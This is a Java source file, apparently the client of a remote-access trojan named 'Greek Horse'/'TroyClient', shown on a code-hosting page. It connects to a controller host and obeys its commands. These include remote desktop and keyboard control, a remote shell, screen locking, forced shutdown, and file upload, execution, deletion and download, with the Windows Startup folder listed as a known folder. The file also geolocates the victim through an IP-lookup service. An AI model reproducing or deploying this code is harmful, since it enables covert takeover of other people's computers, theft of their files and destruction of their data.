You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
471 lines
18 KiB
471 lines
18 KiB
package greek.horse.client;
|
|
|
|
import greek.horse.client.tasks.ClientChatTask;
|
|
import greek.horse.client.tasks.DesktopTask;
|
|
import greek.horse.models.*;
|
|
import okhttp3.Request;
|
|
import okhttp3.Response;
|
|
import org.apache.commons.lang3.SystemUtils;
|
|
import org.apache.log4j.Logger;
|
|
import org.zeroturnaround.zip.commons.FileUtils;
|
|
|
|
import javax.json.Json;
|
|
import javax.json.JsonObject;
|
|
import javax.json.JsonReader;
|
|
import javax.swing.filechooser.FileSystemView;
|
|
import java.awt.*;
|
|
import java.awt.event.KeyEvent;
|
|
import java.io.*;
|
|
import java.net.InetAddress;
|
|
import java.net.Socket;
|
|
import java.nio.file.Files;
|
|
import java.nio.file.Path;
|
|
import java.util.*;
|
|
import java.util.concurrent.ExecutorService;
|
|
import java.util.concurrent.Executors;
|
|
import java.util.concurrent.ThreadLocalRandom;
|
|
import java.util.concurrent.atomic.AtomicBoolean;
|
|
import java.util.concurrent.atomic.AtomicReference;
|
|
import java.util.stream.Collectors;
|
|
|
|
public class ClientSocketManager {
|
|
|
|
private static final String id = ThreadLocalRandom.current().nextInt(100, 9999 + 1) + System.currentTimeMillis() + SystemUtils.getHostName();
|
|
|
|
private AtomicBoolean running = new AtomicBoolean(true);
|
|
private final TroyClient troyClient;
|
|
private final Robot bot = headless ? null : new Robot();
|
|
public final static HashMap<Integer, Integer> extendedKeys = createMap();
|
|
|
|
private final AtomicReference<ObjectOutputStream> oos = new AtomicReference<>();
|
|
private Socket socket;
|
|
private final ExecutorService threadPool = Executors.newCachedThreadPool();
|
|
|
|
private final ClientTerminalTask terminalTask = new ClientTerminalTask(this);
|
|
private final LockTask lockTask = headless ? null : new LockTask(this, bot);
|
|
private final DesktopTask desktopTask = headless ? null : new DesktopTask(this, bot);
|
|
private final ClientChatTask chatTask = headless ? null : new ClientChatTask(this);
|
|
|
|
private static final boolean headless = GraphicsEnvironment.isHeadless();
|
|
|
|
private final HashMap<FunctionTicket, Object> fixedMap = new HashMap<>();
|
|
|
|
private static final Logger log = Logger.getLogger(ClientSocketManager.class);
|
|
|
|
|
|
public ClientSocketManager(TroyClient troyClient) throws AWTException {
|
|
this.troyClient = troyClient;
|
|
if (!headless) {
|
|
threadPool.execute(lockTask);
|
|
threadPool.execute(desktopTask);
|
|
threadPool.execute(chatTask);
|
|
}
|
|
threadPool.execute(terminalTask);
|
|
}
|
|
|
|
private static HashMap<Integer, Integer> createMap() {
|
|
HashMap<Integer, Integer> extendedKeys = new HashMap<>();
|
|
extendedKeys.put(16, KeyEvent.VK_SHIFT);
|
|
extendedKeys.put(20, KeyEvent.VK_CAPS_LOCK);
|
|
extendedKeys.put(9, KeyEvent.VK_TAB);
|
|
extendedKeys.put(17, KeyEvent.VK_CONTROL);
|
|
extendedKeys.put(92, KeyEvent.getExtendedKeyCodeForChar('\\'));
|
|
extendedKeys.put(524, KeyEvent.VK_WINDOWS);
|
|
extendedKeys.put(18, KeyEvent.VK_ALT);
|
|
extendedKeys.put(65406, KeyEvent.VK_ALT_GRAPH);
|
|
extendedKeys.put(0, KeyEvent.VK_SLASH);
|
|
extendedKeys.put(154, KeyEvent.VK_PRINTSCREEN);
|
|
extendedKeys.put(145, KeyEvent.VK_SCROLL_LOCK);
|
|
extendedKeys.put(144, KeyEvent.VK_NUM_LOCK);
|
|
extendedKeys.put(96, KeyEvent.VK_0);
|
|
extendedKeys.put(97, KeyEvent.VK_1);
|
|
extendedKeys.put(98, KeyEvent.VK_2);
|
|
extendedKeys.put(99, KeyEvent.VK_3);
|
|
extendedKeys.put(100, KeyEvent.VK_4);
|
|
extendedKeys.put(101, KeyEvent.VK_5);
|
|
extendedKeys.put(102, KeyEvent.VK_6);
|
|
extendedKeys.put(103, KeyEvent.VK_7);
|
|
extendedKeys.put(104, KeyEvent.VK_8);
|
|
extendedKeys.put(105, KeyEvent.VK_9);
|
|
extendedKeys.put(111, KeyEvent.VK_SLASH);
|
|
extendedKeys.put(106, KeyEvent.VK_ASTERISK);
|
|
extendedKeys.put(109, KeyEvent.VK_MINUS);
|
|
extendedKeys.put(107, KeyEvent.VK_PLUS);
|
|
extendedKeys.put(110, KeyEvent.VK_COMMA);
|
|
extendedKeys.put(129, KeyEvent.VK_DEAD_ACUTE);
|
|
extendedKeys.put(131, KeyEvent.VK_DEAD_TILDE);
|
|
extendedKeys.put(222, KeyEvent.VK_QUOTE);
|
|
return extendedKeys;
|
|
}
|
|
|
|
public void run(String hostLink, String port) throws IOException, ClassNotFoundException, InterruptedException {
|
|
try {
|
|
|
|
socket = connect(hostLink, port);
|
|
|
|
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
|
|
|
|
this.oos.set(new ObjectOutputStream(socket.getOutputStream()));
|
|
|
|
this.oos.get().writeObject(id); // register ID
|
|
|
|
while (running.get()) {
|
|
HashMap<FunctionTicket, Object> requestMap = (HashMap<FunctionTicket, Object>) ois.readObject();
|
|
log.debug("requestMap: " + requestMap);
|
|
|
|
HashMap<FunctionTicket, Object> answerMap = new HashMap<>();
|
|
|
|
Set<FunctionTicket> keys = Collections.unmodifiableSet(requestMap.keySet());
|
|
|
|
for (FunctionTicket f : keys) {
|
|
if (f.isFixed()) {
|
|
fixedMap.put(f, requestMap.get(f));
|
|
}
|
|
}
|
|
|
|
for (FunctionTicket ticket : requestMap.keySet()) {
|
|
Object obj = answerTicket(ticket, requestMap.get(ticket));
|
|
if (obj != null) { // no answer filter
|
|
answerMap.put(ticket, obj);
|
|
}
|
|
}
|
|
|
|
if (answerMap.keySet().size() > 0) {
|
|
log.debug("answerMap: " + answerMap);
|
|
this.oos.getAcquire().writeObject(answerMap);
|
|
this.oos.getAcquire().flush();
|
|
}
|
|
}
|
|
stop();
|
|
|
|
} catch (Exception e) {
|
|
this.running = new AtomicBoolean(false);
|
|
throw e;
|
|
}
|
|
}
|
|
|
|
private Object answerTicket(FunctionTicket ticket, Object o) {
|
|
try {
|
|
|
|
RequestFunctionType f = ticket.getFunction();
|
|
|
|
switch (f) {
|
|
case NET_INFO:
|
|
return getNetInfo();
|
|
case DESKTOP_START:
|
|
return startDesktop(o, ticket);
|
|
case DESKTOP_REFRESH:
|
|
return refreshDesktop(o, ticket);
|
|
case MONITOR_COUNT:
|
|
return getMonitorCount();
|
|
case DISCONNECT:
|
|
return doDisconnect();
|
|
case USER_INPUT:
|
|
return doUserInput(o);
|
|
case FILES:
|
|
return getFiles(o);
|
|
case LOCK:
|
|
return toggleLock(o);
|
|
case STOP:
|
|
return getLock();
|
|
case TERMINAL_START:
|
|
return startTerminal(ticket);
|
|
case TERMINAL_COMMAND:
|
|
return sendCommand(o);
|
|
case CHAT_START:
|
|
return startChat(ticket);
|
|
case CHAT_MESSAGE:
|
|
return sendMessage(o);
|
|
case TURN_OFF:
|
|
return turnOff();
|
|
case RELEASE:
|
|
return doRelease(o);
|
|
}
|
|
|
|
} catch (Exception e) {
|
|
e.printStackTrace();
|
|
this.running.set(false);
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private Object sendMessage(Object o) {
|
|
chatTask.addMessage((String) o);
|
|
return null;
|
|
}
|
|
|
|
private Object startChat(FunctionTicket ticket) {
|
|
chatTask.setTicket(ticket);
|
|
return null;
|
|
}
|
|
|
|
private Object getMonitorCount() {
|
|
return GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices().length;
|
|
}
|
|
|
|
private Object turnOff() {
|
|
try {
|
|
String shutdownCommand;
|
|
String t = "now";
|
|
|
|
if (SystemUtils.IS_OS_AIX)
|
|
shutdownCommand = "shutdown -Fh " + t;
|
|
else if (SystemUtils.IS_OS_FREE_BSD || SystemUtils.IS_OS_LINUX || SystemUtils.IS_OS_MAC || SystemUtils.IS_OS_MAC_OSX || SystemUtils.IS_OS_NET_BSD || SystemUtils.IS_OS_OPEN_BSD || SystemUtils.IS_OS_UNIX)
|
|
shutdownCommand = "shutdown -h " + t;
|
|
else if (SystemUtils.IS_OS_HP_UX)
|
|
shutdownCommand = "shutdown -hy " + t;
|
|
else if (SystemUtils.IS_OS_IRIX)
|
|
shutdownCommand = "shutdown -y -g " + t;
|
|
else if (SystemUtils.IS_OS_SOLARIS || SystemUtils.IS_OS_SUN_OS)
|
|
shutdownCommand = "shutdown -y -i5 -g" + t;
|
|
else if (SystemUtils.IS_OS_WINDOWS)
|
|
shutdownCommand = "shutdown.exe /s /t 0";
|
|
else
|
|
return false;
|
|
|
|
Runtime.getRuntime().exec(shutdownCommand);
|
|
} catch (Exception e) {
|
|
log.error(e);
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private Object sendCommand(Object o) {
|
|
terminalTask.sendCommand((String) o);
|
|
return null;
|
|
}
|
|
|
|
private Object startTerminal(FunctionTicket ticket) {
|
|
terminalTask.setTicket(ticket);
|
|
return null;
|
|
}
|
|
|
|
private Object doRelease(Object obj) {
|
|
FunctionTicket remove = fixedMap.keySet().parallelStream().filter(f -> f.getId().contentEquals((String) obj)).findFirst().get();
|
|
fixedMap.remove(remove);
|
|
return null;
|
|
}
|
|
|
|
private Object getLock() {
|
|
System.exit(0);
|
|
return null;
|
|
}
|
|
|
|
private Object toggleLock(Object o) {
|
|
Boolean lock = (Boolean) o;
|
|
lockTask.setRunning(lock);
|
|
return null;
|
|
}
|
|
|
|
private Object getFiles(Object o) {
|
|
FileBrowserTicket ticket = (FileBrowserTicket) o;
|
|
try {
|
|
switch (ticket.getTicketType()) {
|
|
case KNOWN_FOLDERS:
|
|
ArrayList<FileStruct> list = new ArrayList<>();
|
|
|
|
Path userFolder = Path.of(SystemUtils.getUserHome().toURI());
|
|
list.add(new FileStruct(userFolder.getName(userFolder.getNameCount() - 1).toString(), userFolder.toFile().length(), userFolder.toString(), false, userFolder.toFile().isDirectory()));
|
|
|
|
Path desktop = Path.of(FileSystemView.getFileSystemView().getHomeDirectory().toURI());
|
|
list.add(new FileStruct(desktop.getName(desktop.getNameCount() - 1).toString(), desktop.toFile().length(), desktop.toString(), false, desktop.toFile().isDirectory()));
|
|
|
|
Path newTemp = Files.createTempDirectory("temp_");
|
|
Path temp = newTemp.getParent();
|
|
list.add(new FileStruct(temp.getName(temp.getNameCount() - 1).toString(), temp.toFile().length(), temp.toString(), false, temp.toFile().isDirectory()));
|
|
list.add(new FileStruct(newTemp.getName(newTemp.getNameCount() - 1).toString(), newTemp.toFile().length(), newTemp.toString(), false, newTemp.toFile().isDirectory()));
|
|
|
|
if (SystemUtils.IS_OS_WINDOWS) {
|
|
//C:\Users\Murilo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
|
|
String path = userFolder + File.separator + "AppData" + File.separator + "Roaming"
|
|
+ File.separator + "Microsoft" + File.separator + "Windows"
|
|
+ File.separator + "Start Menu" + File.separator + "Programs"
|
|
+ File.separator + "Startup";
|
|
Path startup = Path.of(path);
|
|
list.add(new FileStruct(startup.getName(startup.getNameCount() - 1).toString(), startup.toFile().length(), startup.toString(), false, startup.toFile().isDirectory()));
|
|
}
|
|
|
|
return new FileBrowserResponseWrapper(list);
|
|
|
|
case LOAD_FILES:
|
|
ArrayList<FileStruct> loadFiles =
|
|
Files.list(Path.of(ticket.getUri()))
|
|
.map(p -> new FileStruct(p.getName(p.getNameCount() - 1).toString(), p.toFile().length(), p.toString(), false, p.toFile().isDirectory()))
|
|
.collect(Collectors.toCollection(ArrayList::new));
|
|
|
|
loadFiles = ClientSocketManager.sortForBrowsing(loadFiles);
|
|
|
|
return new FileBrowserResponseWrapper(loadFiles);
|
|
case LOAD_DRIVES:
|
|
return Arrays.stream(File.listRoots())
|
|
.map(f -> new FileStruct(f.getPath(), f.getTotalSpace(), Path.of(f.toURI()).toString(), true, false))
|
|
.sorted().collect(Collectors.toCollection(ArrayList::new));
|
|
case UPLOAD:
|
|
String path = Path.of(ticket.getUri()).toString() + File.separator + ticket.getFileData().getFileName();
|
|
Files.write(Path.of(path), ticket.getFileData().getFileBytes());
|
|
return new FileBrowserResponseWrapper();
|
|
case RUN:
|
|
Desktop.getDesktop().open(Path.of(ticket.getUri()).toFile());
|
|
return new FileBrowserResponseWrapper();
|
|
case DELETE:
|
|
FileUtils.deleteQuietly(Path.of(ticket.getUri()).toFile());
|
|
return new FileBrowserResponseWrapper();
|
|
case DOWNLOAD:
|
|
Path p = Path.of(ticket.getUri());
|
|
FileData data = new FileData(Files.readAllBytes(p), p.getName(p.getNameCount() - 1).toString());
|
|
return new FileBrowserResponseWrapper(data);
|
|
default:
|
|
return null;
|
|
|
|
}
|
|
} catch (Exception e) {
|
|
log.debug("Error " + ticket.getTicketType() + " : ", e);
|
|
return new FileBrowserResponseWrapper(e);
|
|
}
|
|
|
|
}
|
|
|
|
private static ArrayList<FileStruct> sortForBrowsing(ArrayList<FileStruct> loadFiles) {
|
|
ArrayList<ArrayList<FileStruct>> orderedList = new ArrayList<>();
|
|
for (FileType t : FileType.values()) {
|
|
ArrayList<FileStruct> collect = (ArrayList<FileStruct>) loadFiles.stream()
|
|
.sorted()
|
|
.filter(f -> f.getFileType().equals(t))
|
|
.collect(Collectors.toList());
|
|
if (!collect.isEmpty()) {
|
|
orderedList.add(collect);
|
|
}
|
|
}
|
|
ArrayList<FileStruct> newList = new ArrayList<>();
|
|
orderedList.forEach(newList::addAll);
|
|
return newList;
|
|
}
|
|
|
|
private Object doUserInput(Object o) {
|
|
ArrayList<UserInput> inputs = (ArrayList<UserInput>) o;
|
|
|
|
inputs.parallelStream().forEachOrdered(ui -> {
|
|
|
|
switch (ui.getMode()) {
|
|
case KEY_PRESSED -> pressKey(ui.getKey());
|
|
case KEY_RELEASED -> releaseKey(ui.getKey());
|
|
case CLICK_PRESSED -> desktopTask.pressClick(ui.getX(), ui.getY(), ui.getCode());
|
|
case CLICK_RELEASED -> desktopTask.releaseClick(ui.getX(), ui.getY(), ui.getCode());
|
|
}
|
|
|
|
});
|
|
|
|
return null;
|
|
}
|
|
|
|
private void pressKey(int key) {
|
|
try {
|
|
bot.keyPress(getKey(key));
|
|
} catch (Exception e) {
|
|
log.error("Key pressing error. Key skipped. ", e);
|
|
}
|
|
}
|
|
|
|
private void releaseKey(int key) {
|
|
try {
|
|
bot.keyRelease(getKey(key));
|
|
} catch (Exception e) {
|
|
log.error("Key releasing error. Key skipped. ", e);
|
|
}
|
|
}
|
|
|
|
private int getKey(int key) {
|
|
int k;
|
|
if (extendedKeys.containsKey(key)) {
|
|
k = extendedKeys.get(key);
|
|
} else {
|
|
k = KeyEvent.getExtendedKeyCodeForChar(key);
|
|
}
|
|
if (k == KeyEvent.VK_UNDEFINED) {
|
|
throw new IllegalArgumentException("KeyCode " + key + " does not exist.");
|
|
}
|
|
return k;
|
|
}
|
|
|
|
private Object doDisconnect() {
|
|
try {
|
|
socket.close();
|
|
} catch (Exception e) {
|
|
log.info("Exception closing socket on disconnect request");
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private Object refreshDesktop(Object o, FunctionTicket ticket) {
|
|
desktopTask.setInfo((MonitorDesktopWrapper) o);
|
|
return null;
|
|
}
|
|
|
|
private Object startDesktop(Object readObj, FunctionTicket ticket) {
|
|
desktopTask.setInfo((MonitorDesktopWrapper) readObj);
|
|
desktopTask.setTicket(ticket);
|
|
|
|
return null;
|
|
}
|
|
|
|
private void stop() {
|
|
try {
|
|
if (socket != null) {
|
|
socket.close();
|
|
}
|
|
} catch (Exception e) {
|
|
System.err.println("Error closing client");
|
|
}
|
|
}
|
|
|
|
private NetInfo getNetInfo() throws IOException {
|
|
InetAddress inet = InetAddress.getLocalHost();
|
|
|
|
Request request = new Request.Builder().url("http://ip-api.com/json").build();
|
|
Response response = troyClient.getHttpClient().newCall(request).execute();
|
|
|
|
if (response.code() != 200) {
|
|
throw new IOException("Wrong response code: " + response.code());
|
|
}
|
|
|
|
JsonReader reader = Json.createReader(new StringReader(response.body().string()));
|
|
JsonObject json = reader.readObject();
|
|
|
|
return new NetInfo(inet, json, headless);
|
|
|
|
}
|
|
|
|
private Socket connect(String hostLink, String port) throws IOException {
|
|
Socket socket = new Socket(hostLink, Integer.parseInt(port));
|
|
|
|
if (!socket.isConnected()) {
|
|
throw new IOException("Socket didn't connected in time");
|
|
}
|
|
|
|
log.info("Connection stabilised");
|
|
return socket;
|
|
}
|
|
|
|
public void kill() {
|
|
this.running.set(false);
|
|
// this.stop();
|
|
}
|
|
|
|
public AtomicBoolean getRunning() {
|
|
return running;
|
|
}
|
|
|
|
public AtomicReference<ObjectOutputStream> getOos() {
|
|
return oos;
|
|
}
|
|
|
|
public ExecutorService getThreadPool() {
|
|
return threadPool;
|
|
}
|
|
|
|
public HashMap<FunctionTicket, Object> getFixedMap() {
|
|
return fixedMap;
|
|
}
|
|
}
|